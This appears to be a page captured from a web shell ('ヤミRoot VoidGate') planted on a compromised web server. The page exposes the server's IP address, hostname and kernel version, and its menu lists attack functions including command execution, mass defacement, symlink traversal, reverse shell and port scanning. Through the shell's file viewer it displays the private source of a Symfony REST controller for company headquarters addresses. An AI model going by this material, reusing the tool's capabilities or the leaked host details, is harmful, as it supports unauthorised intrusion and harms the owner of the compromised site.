ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: CompanyAddressController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use FOS\RestBundle\Controller\Annotations as Rest; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Symfony\Component\HttpFoundation\Request; use Nelmio\ApiDocBundle\Annotation as Doc; use AppBundle\Entity\Company; use AppBundle\Entity\Address; use AppBundle\Form\AddressType; class CompanyAddressController extends FOSRestController { /** * Get the address of the headquater of a company * @param interger $companyId * * @Rest\Get("/companies/{companyId}/address") * @Rest\view * @Doc\ApiDoc( * section="Company's headquaters address", * resource=true, * description="Get the address of the headquaters of a company.", * ) * */ public function showAction(Company $company) { return $company->getHeadOfficeAddress(); } /** * Create the address of the headquater of a company * @param interger $companyId * * @Rest\Post("/companies/{companyId}/address") * @ParamConverter("address", converter="fos_rest.request_body") * @Rest\View( * statusCode = Response::HTTP_CREATED, * SerializerGroups = {"COMPANY_DETAILS", "ADDRESS_DETAILS"} * ) * @Doc\ApiDoc( * section="Company's headquaters address", * resource=true, * description="Create the address of the headquaters of a company.", * input = { * "class"="AppBundle\Form\AddressType", * } * ) */ public function createAction(Company $company, Address $address) { if ($company->getHeadOfficeAddress()) { return new JsonResponse(['eror' => 'HeadQuarter\'s address exist. Go to update link'], Response::HTTP_METHOD_NOT_ALLOWED); } $listErrors = $this->get('validator')->validate($address); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $company->setHeadOfficeAddress($address); $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $company; } /** * Updates the address of the headquater of a company * @param interger $companyId * * @Rest\Put("/companies/{companyId}/address") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"COMPANY_DETAILS", "ADDRESS_DETAILS"} * ) *) * @Doc\ApiDoc( * section="Company's headquaters address", * resource=true, * description="Updates the address of the headquaters of a company.", * input = { * "class"="AppBundle\Form\AddressType", * } * ) */ public function updateAction(Request $request, Company $company) { //processing submitted data $form = $this->createForm(AddressType::class, $company->getHeadOfficeAddress()); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($company->getHeadOfficeAddress()); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } // No more errors at this point $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $company->getHeadOfficeAddress(); } /** * Delete(remove) the address of the headquater of a company * @param interger $companyId * * @Rest\Delete("/companies/{companyId}/address") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"COMPANY_DETAILS", "ADDRESS_DETAILS"} * ) *) * @Doc\ApiDoc( * section="Company's headquaters address", * resource=true, * description="Delete the address of the headquaters of a company.", * ) */ public function deleteAction(Company $company) { //processing submitted data $address = $company->getHeadOfficeAddress(); $company->setHeadOfficeAddress(null); // No more errors at this point $em = $this ->getDoctrine() ->getManager(); $em->remove($address); $em->flush(); return $company; } }
Coded With 💗 by
0x6ick